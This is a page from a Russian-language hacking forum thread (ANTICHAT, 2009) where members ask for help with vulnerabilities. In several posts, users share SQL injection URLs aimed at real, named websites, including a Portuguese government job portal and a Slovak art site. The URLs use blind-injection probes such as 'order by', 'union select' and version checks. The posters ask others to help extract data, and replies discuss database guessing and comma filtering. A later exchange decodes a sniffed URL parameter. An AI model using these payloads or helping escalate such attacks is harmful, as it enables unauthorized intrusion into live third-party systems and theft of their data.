ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 619 из 2438 « Первая < 119519569609 615 616 617 618 619 620 621 622 623 62966971911191619 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #6181  
Старый 26.03.2009, 15:30
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
С нами: 9456679

Репутация: 97
По умолчанию
Нашёл блинд инж, подобрал поля

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+order+by+2--

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+union+select+1,2--
не пашет )':, видимо двойной запрос.

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+and+substring(version(), 1,1)=5--
+and+substring(version(),1,1)=4--
+and+substring(version(),1,1)=3--

так же результатов не дало.
Помогите хотя бы определить версию.
Подзапросы не работают у меня вообще! =(
 
Ответить с цитированием

  #6182  
Старый 26.03.2009, 15:59
Booblekus
Новичок
Регистрация: 26.11.2008
Сообщений: 1
С нами: 9187689

Репутация: 0
По умолчанию
Цитата:
Сообщение от Imperou$  
Нашёл блинд инж, подобрал поля

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+order+by+2--

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+union+select+1,2--
не пашет )':, видимо двойной запрос.

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+and+substring(version(), 1,1)=5--
+and+substring(version(),1,1)=4--
+and+substring(version(),1,1)=3--

так же результатов не дало.
Помогите хотя бы определить версию.
Подзапросы не работают у меня вообще! =(
А почему ты решил что это вообще MySQL?.
 
Ответить с цитированием

  #6183  
Старый 26.03.2009, 16:25
Calcutta
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
С нами: 9875796

Репутация: 770
По умолчанию
http://fineart.sk/index.php?cat=-1+group+by+7--
сможет кто раскрутить? сам пробовал, не удалось даже версию узнать -/
 
Ответить с цитированием

  #6184  
Старый 26.03.2009, 16:41
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
С нами: 9456679

Репутация: 97
По умолчанию
Цитата:
Сообщение от Booblekus  
А почему ты решил что это вообще MySQL?.
А почему ты спрашиваешь?Посты набиваешь?
http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+order+by+2--

и

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+order+by+3--

и

http://www.netemprego.imigrante.gov.pt/IEFP/cv/pageNUTSII.jsp?nutsI=100'+order+by+2

Догадайся почему.
З.Ы. В mssql вроде нельзя отключить вывод об ошибках. Оракл? xD

Соответственно блинд,разве нет?
 
Ответить с цитированием

  #6185  
Старый 26.03.2009, 16:43
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию
2 Calcutta
режет запятые.. даже слепую не заюзать.
 
Ответить с цитированием

  #6186  
Старый 26.03.2009, 16:48
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами: 9610769

Репутация: 380
По умолчанию
Цитата:
Сообщение от Imperou$  
З.Ы. В mssql вроде нельзя отключить вывод об ошибках. Оракл? xD
Ну я бы так не сказал все зависит от настроек сервака, ты забываешь еще и про pgsql
 
Ответить с цитированием

  #6187  
Старый 26.03.2009, 16:59
diznt
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
С нами: 9619229

Репутация: 445


По умолчанию
Обнаружил при сниффере параметр на передачу он выглядит так примерно

pay=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1% 82%D1%8C

Как каракули понять такие?
 
Ответить с цитированием

  #6188  
Старый 26.03.2009, 17:01
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию
urldecode
 
Ответить с цитированием

  #6189  
Старый 26.03.2009, 17:11
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию
А ведь это реально каракули -
Цитата:
ООтправить
 
Ответить с цитированием

  #6190  
Старый 26.03.2009, 17:18
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
С нами: 10077446

Репутация: 1020


По умолчанию
echo iconv("UTF-8","cp1251",urldecode("%D0%9E%D1%82%D0%BF%D1%80%D0 %B0%D0%B2%D0%B8%D1%82%D1%8C"));
 
Ответить с цитированием
Ответ
Страница 619 из 2438 « Первая < 119519569609 615 616 617 618 619 620 621 622 623 62966971911191619 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.